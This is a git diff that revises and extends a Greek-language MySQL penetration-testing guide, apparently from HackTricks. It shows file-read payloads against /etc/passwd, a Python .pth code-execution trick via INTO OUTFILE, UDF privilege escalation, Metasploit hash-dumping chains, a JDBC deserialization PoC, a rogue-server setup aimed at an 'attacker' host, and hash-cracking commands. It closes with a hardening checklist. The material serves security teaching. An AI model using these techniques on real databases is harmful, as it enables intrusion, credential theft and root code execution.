diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index 8418d6fef..dd30d27bb 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -111,11 +111,11 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT #### INTO OUTFILE → Python `.pth` RCE (ειδικές ρυθμίσεις ιστότοπου) -Καταχρώντας την κλασική πρωτοβουλία `INTO OUTFILE`, είναι δυνατόν να αποκτηθεί *εκτέλεση αυθαίρετου κώδικα* σε στόχους που εκτελούν αργότερα **Python** σενάρια. +Καταχρώντας την κλασική εντολή `INTO OUTFILE`, είναι δυνατόν να αποκτηθεί *εκτέλεση αυθαίρετου κώδικα* σε στόχους που εκτελούν αργότερα **Python** σενάρια. -1. Χρησιμοποιήστε το `INTO OUTFILE` για να ρίξετε ένα προσαρμοσμένο **`.pth`** αρχείο μέσα σε οποιονδήποτε φάκελο φορτώνεται αυτόματα από το `site.py` (π.χ. `.../lib/python3.10/site-packages/`). +1. Χρησιμοποιήστε `INTO OUTFILE` για να ρίξετε ένα προσαρμοσμένο **`.pth`** αρχείο μέσα σε οποιονδήποτε φάκελο φορτώνεται αυτόματα από το `site.py` (π.χ. `.../lib/python3.10/site-packages/`). 2. Το αρχείο `.pth` μπορεί να περιέχει μια *μοναδική γραμμή* που ξεκινά με `import ` ακολουθούμενη από αυθαίρετο Python κώδικα που θα εκτελείται κάθε φορά που ξεκινά ο διερμηνέας. -3. Όταν ο διερμηνέας εκτελείται έμμεσα από ένα CGI σενάριο (για παράδειγμα `/cgi-bin/ml-draw.py` με shebang `#!/bin/python`), το payload εκτελείται με τα ίδια προνόμια όπως η διαδικασία του web-server (FortiWeb το εκτέλεσε ως **root** → πλήρης προ-auth RCE). +3. Όταν ο διερμηνέας εκτελείται έμμεσα από ένα CGI σενάριο (για παράδειγμα `/cgi-bin/ml-draw.py` με shebang `#!/bin/python`), το payload εκτελείται με τα ίδια προνόμια όπως η διαδικασία του web-server (το FortiWeb το εκτέλεσε ως **root** → πλήρης προ-auth RCE). Παράδειγμα payload `.pth` (μοναδική γραμμή, δεν μπορούν να περιληφθούν κενά στο τελικό SQL payload, οπότε μπορεί να απαιτείται hex/`UNHEX()` ή συγχώνευση συμβολοσειρών): ```python @@ -149,12 +149,12 @@ uid=0(root) gid=0(root) groups=0(root) ## MySQL αυθαίρετη ανάγνωση αρχείου από πελάτη Στην πραγματικότητα, όταν προσπαθείτε να **φορτώσετε δεδομένα τοπικά σε έναν πίνακα** το **περιεχόμενο ενός αρχείου** ο διακομιστής MySQL ή MariaDB ζητά από τον **πελάτη να το διαβάσει** και να στείλει το περιεχόμενο. **Έτσι, αν μπορείτε να παραποιήσετε έναν πελάτη mysql για να συνδεθείτε στον δικό σας διακομιστή MySQL, μπορείτε να διαβάσετε αυθαίρετα αρχεία.**\ -Παρακαλώ σημειώστε ότι αυτή είναι η συμπεριφορά που χρησιμοποιεί: +Παρακαλώ σημειώστε ότι αυτή είναι η συμπεριφορά που χρησιμοποιείται: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` -(Σημειώστε τη λέξη "local")\ -Επειδή χωρίς το "local" μπορείτε να αποκτήσετε: +(Προσοχή στη λέξη "τοπικό")\ +Επειδή χωρίς το "τοπικό" μπορείς να πάρεις: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; @@ -179,16 +179,16 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '= ``` #### Επικίνδυνες Ρυθμίσεις του mysqld.cnf -Στη διαμόρφωση των υπηρεσιών MySQL, διάφορες ρυθμίσεις χρησιμοποιούνται για να καθορίσουν τη λειτουργία και τα μέτρα ασφαλείας της: +Στη διαμόρφωση των υπηρεσιών MySQL, διάφορες ρυθμίσεις χρησιμοποιούνται για τον καθορισμό της λειτουργίας και των μέτρων ασφαλείας της: - Η **`user`** ρύθμιση χρησιμοποιείται για τον καθορισμό του χρήστη υπό τον οποίο θα εκτελείται η υπηρεσία MySQL. -- Η **`password`** εφαρμόζεται για την καθορισμένη του κωδικού πρόσβασης που σχετίζεται με τον χρήστη MySQL. -- Η **`admin_address`** προσδιορίζει τη διεύθυνση IP που ακούει για TCP/IP συνδέσεις στη διαχειριστική διεπαφή δικτύου. +- Η **`password`** εφαρμόζεται για την καθορισμό του κωδικού πρόσβασης που σχετίζεται με τον χρήστη MySQL. +- Η **`admin_address`** καθορίζει τη διεύθυνση IP που ακούει για συνδέσεις TCP/IP στη διαχειριστική διεπαφή δικτύου. - Η **`debug`** μεταβλητή υποδεικνύει τις τρέχουσες ρυθμίσεις αποσφαλμάτωσης, συμπεριλαμβανομένων ευαίσθητων πληροφοριών μέσα στα αρχεία καταγραφής. -- Η **`sql_warnings`** διαχειρίζεται αν παράγονται πληροφοριακές συμβολοσειρές για δηλώσεις INSERT μίας γραμμής όταν προκύπτουν προειδοποιήσεις, περιέχοντας ευαίσθητα δεδομένα μέσα στα αρχεία καταγραφής. +- Η **`sql_warnings`** διαχειρίζεται εάν παράγονται πληροφοριακές συμβολοσειρές για δηλώσεις INSERT μίας γραμμής όταν προκύπτουν προειδοποιήσεις, περιλαμβάνοντας ευαίσθητα δεδομένα μέσα στα αρχεία καταγραφής. - Με την **`secure_file_priv`**, το πεδίο των λειτουργιών εισαγωγής και εξαγωγής δεδομένων περιορίζεται για την ενίσχυση της ασφάλειας. -### Ανύψωση προνομίων +### Ανάβαση προνομίων ```bash # Get current user (an all users) privileges and hashes use mysql; @@ -208,11 +208,11 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys ``` ### Privilege Escalation via library -Αν ο **mysql server τρέχει ως root** (ή ως διαφορετικός πιο προνομιούχος χρήστης) μπορείτε να τον κάνετε να εκτελεί εντολές. Για αυτό, χρειάζεται να χρησιμοποιήσετε **user defined functions**. Και για να δημιουργήσετε μια user defined θα χρειαστείτε μια **library** για το λειτουργικό σύστημα που τρέχει ο mysql. +Αν ο **mysql server τρέχει ως root** (ή ως διαφορετικός χρήστης με περισσότερα δικαιώματα) μπορείτε να τον κάνετε να εκτελεί εντολές. Για αυτό, χρειάζεται να χρησιμοποιήσετε **user defined functions**. Και για να δημιουργήσετε μια user defined θα χρειαστείτε μια **library** για το λειτουργικό σύστημα που τρέχει ο mysql. Η κακόβουλη βιβλιοθήκη που θα χρησιμοποιήσετε μπορεί να βρεθεί μέσα στο sqlmap και μέσα στο metasploit κάνοντας **`locate "*lib_mysqludf_sys*"`**. Τα **`.so`** αρχεία είναι **linux** βιβλιοθήκες και τα **`.dll`** είναι οι **Windows**. Επιλέξτε αυτή που χρειάζεστε. -Αν **δεν έχετε** αυτές τις βιβλιοθήκες, μπορείτε είτε να **τις αναζητήσετε**, είτε να κατεβάσετε αυτό το [**linux C code**](https://www.exploit-db.com/exploits/1518) και να **το μεταγλωττίσετε μέσα στη linux ευάλωτη μηχανή**: +Αν **δεν έχετε** αυτές τις βιβλιοθήκες, μπορείτε είτε να **τις αναζητήσετε**, είτε να κατεβάσετε αυτόν τον [**linux C code**](https://www.exploit-db.com/exploits/1518) και να **τον μεταγλωττίσετε μέσα στη linux ευάλωτη μηχανή**: ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc @@ -646,7 +646,58 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` +## 2023-2025 Highlights (new) + +### JDBC `propertiesTransform` deserialization (CVE-2023-21971) +Από το Connector/J <= 8.0.32, ένας επιτιθέμενος που μπορεί να επηρεάσει το **JDBC URL** (για παράδειγμα σε λογισμικό τρίτων που ζητάει μια συμβολοσειρά σύνδεσης) μπορεί να ζητήσει αυθαίρετες κλάσεις να φορτωθούν στην *περίπτωση* μέσω της παραμέτρου `propertiesTransform`. Εάν μια συσκευή που είναι παρούσα στο class-path είναι φορτίσιμη, αυτό έχει ως αποτέλεσμα **εκτέλεση απομακρυσμένου κώδικα στο πλαίσιο του JDBC client** (προ-auth, επειδή δεν απαιτούνται έγκυρα διαπιστευτήρια). Ένα ελάχιστο PoC φαίνεται ως εξής: +```java +jdbc:mysql://:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil +``` +Η εκτέλεση του `Evil.class` μπορεί να είναι τόσο εύκολη όσο η παραγωγή του στο class-path της ευάλωτης εφαρμογής ή η αφήγηση ενός κακόβουλου MySQL server να στείλει ένα κακόβουλο σειριακό αντικείμενο. Το ζήτημα διορθώθηκε στην Connector/J 8.0.33 – αναβαθμίστε τον οδηγό ή ορίστε ρητά το `propertiesTransform` σε μια λίστα επιτρεπόμενων. +(Δείτε την αναφορά του Snyk για λεπτομέρειες) + +### Επιθέσεις από κακόβουλους / ψεύτικους MySQL servers κατά των JDBC πελατών +Διάφορα εργαλεία ανοιχτού κώδικα υλοποιούν ένα *μερικό* πρωτόκολλο MySQL προκειμένου να επιτεθούν σε JDBC πελάτες που συνδέονται εξωτερικά: + +* **mysql-fake-server** (Java, υποστηρίζει εκμεταλλεύσεις ανάγνωσης αρχείων και αποσειριοποίησης) +* **rogue_mysql_server** (Python, παρόμοιες δυνατότητες) + +Τυπικές διαδρομές επίθεσης: + +1. Η εφαρμογή-θύμα φορτώνει το `mysql-connector-j` με `allowLoadLocalInfile=true` ή `autoDeserialize=true`. +2. Ο επιτιθέμενος ελέγχει την DNS / καταχώρηση host έτσι ώστε το όνομα του DB να επιλύεται σε μια μηχανή υπό τον έλεγχό του. +3. Ο κακόβουλος server απαντά με κατασκευασμένα πακέτα που ενεργοποιούν είτε την ανάγνωση αρχείων `LOCAL INFILE` είτε την αποσειριοποίηση Java → RCE. + +Παράδειγμα one-liner για να ξεκινήσετε έναν ψεύτικο server (Java): +```bash +java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server +``` +Στη συνέχεια, κατευθύνετε την εφαρμογή-στόχο στο `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` και διαβάστε το `/etc/passwd` κωδικοποιώντας το όνομα αρχείου ως base64 στο πεδίο *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). + +### Σπάσιμο κατακερματισμών `caching_sha2_password` +MySQL ≥ 8.0 αποθηκεύει τους κατακερματισμούς κωδικών πρόσβασης ως **`$mysql-sha2$`** (SHA-256). Και το Hashcat (λειτουργία **21100**) και το John-the-Ripper (`--format=mysql-sha2`) υποστηρίζουν εκτός σύνδεσης σπάσιμο από το 2023. Εξάγετε τη στήλη `authentication_string` και τροφοδοτήστε την απευθείας: +```bash +# extract hashes +echo "$mysql-sha2$AABBCC…" > hashes.txt +# Hashcat +hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist +# John the Ripper +john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist +``` +### Λίστα ελέγχου σκληροποίησης (2025) +• Ρυθμίστε **`LOCAL_INFILE=0`** και **`--secure-file-priv=/var/empty`** για να καταργήσετε τις περισσότερες πρωτογενείς λειτουργίες ανάγνωσης/εγγραφής αρχείων. +• Αφαιρέστε το δικαίωμα **`FILE`** από τους λογαριασμούς εφαρμογών. +• Στο Connector/J ρυθμίστε `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (κενό). +• Απενεργοποιήστε τα μη χρησιμοποιούμενα πρόσθετα πιστοποίησης και **απαιτήστε TLS** (`require_secure_transport = ON`). +• Παρακολουθήστε για δηλώσεις `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` και ξαφνικές δηλώσεις `SET GLOBAL`. + +--- + ## Αναφορές -- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) +- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540) +- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server) + +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) {{#include ../banners/hacktricks-training.md}}